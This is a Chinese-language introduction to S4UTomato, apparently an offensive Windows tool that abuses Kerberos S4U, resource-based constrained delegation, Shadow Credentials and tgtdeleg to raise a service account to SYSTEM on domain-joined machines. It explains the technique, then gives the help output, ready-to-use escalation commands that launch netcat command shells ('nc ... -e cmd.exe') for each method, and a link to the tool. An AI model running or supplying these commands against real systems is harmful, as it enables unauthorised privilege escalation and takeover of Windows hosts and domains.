背景介紹:

熟悉 "Potato"系列提權的朋友應該知道,它可以將服務賬戶權限提升到本地系統權限。"Potato"的早期利用技術幾乎完全相同:利用 COM 接口的某些特性,欺騙 NT AUTHORITY\SYSTEM 賬戶連接并驗證攻擊者控制的 RPC 服務器。然后,通過一系列 API 調用,在驗證過程中執行中間(NTLM 中繼)攻擊,從而為本地系統中的 NT AUTHORITY\SYSTEM 賬戶生成訪問令牌。最后,該令牌被竊取,然后使用 CreateProcessWithToken() 或 CreateProcessAsUser() 函數傳遞令牌并創建一個新進程以獲取 SYSTEM 權限。

關于Kerberos:

在計算機加入域的任何情況下,只要可以在 Windows 服務帳戶或 Microsoft 虛擬帳戶中運行代碼(前提是沒有 Active Directory ),你就可以利用上述技術進行本地權限提權。

在 Windows 域環境中,加入域的系統計算機帳戶使用 SYSTEM、NT AUTHORITY\NETWORK SERVICE 和 Microsoft 虛擬帳戶進行身份驗證。因為在現在版本的 Windows 系統中,大多數 Windows 服務默認使用 Microsoft 虛擬帳戶運行,值得注意的是,IIS 和 MSSQL 使用這些虛擬帳戶,其他應用程序也可能會使用它們,因此,我們可以利用S4U擴展來獲取本機上域管理員帳戶“Administrator”的服務票據,然后,在 James Forshaw (@tiraniddo) 的 SCMUACBypass 的幫助下,使用該票證創建系統服務獲得 SYSTEM 權限,這實現了與“Potato”系列提權技術中使用的傳統方法相同的效果。

在這之前,需要先獲取本地機器帳戶的TGT(Ticket Granting Ticket),這并不容易,因為服務帳戶權限施加的限制會無法獲取計算機的長期密鑰,從而無法構造 KRB_AS_REQ 請求,為了實現以上目標,本工具利用了三種技術:Resource-based Constrained Delegation, Shadow Credentials, and Tgtdeleg,作者基于 Rubeus 工具集構建了該項目。

使用方法:

C:\Users\whoami\Desktop>S4UTomato.exe --help
S4UTomato 1.0.0-betaCopyright (c) 2023
  -d, --Domain              Domain (FQDN) to authenticate to.  -s, --Server              Host name of domain controller or LDAP server.  -m, --ComputerName        The new computer account to create.  -p, --ComputerPassword    The password of the new computer account to be created.  -f, --Force               Forcefully update the 'msDS-KeyCredentialLink' attribute of the computer                            object.  -c, --Command             Program to run.  -v, --Verbose             Output verbose debug information.  --help                    Display this help screen.  --version                 Display version information.


利用 Resource-based Constrained Delegation的LEP:


S4UTomato.exe rbcd -m NEWCOMPUTER -p pAssw0rd -c "nc.exe 127.0.0.1 4444 -e cmd.exe"

利用 Shadow Credentials + S4U2self的LEP:

S4UTomato.exe shadowcred -c "nc 127.0.0.1 4444 -e cmd.exe" -f

利用 Tgtdeleg + S4U2self的LEP:

# First retrieve the TGT through TgtdelegS4UTomato.exe tgtdeleg# Then run SCMUACBypass to obtain SYSTEM privilegeS4UTomato.exe krbscm -c "nc 127.0.0.1 4444 -e cmd.exe"

工具地址:https://github.com/wh0amitz/S4UTomato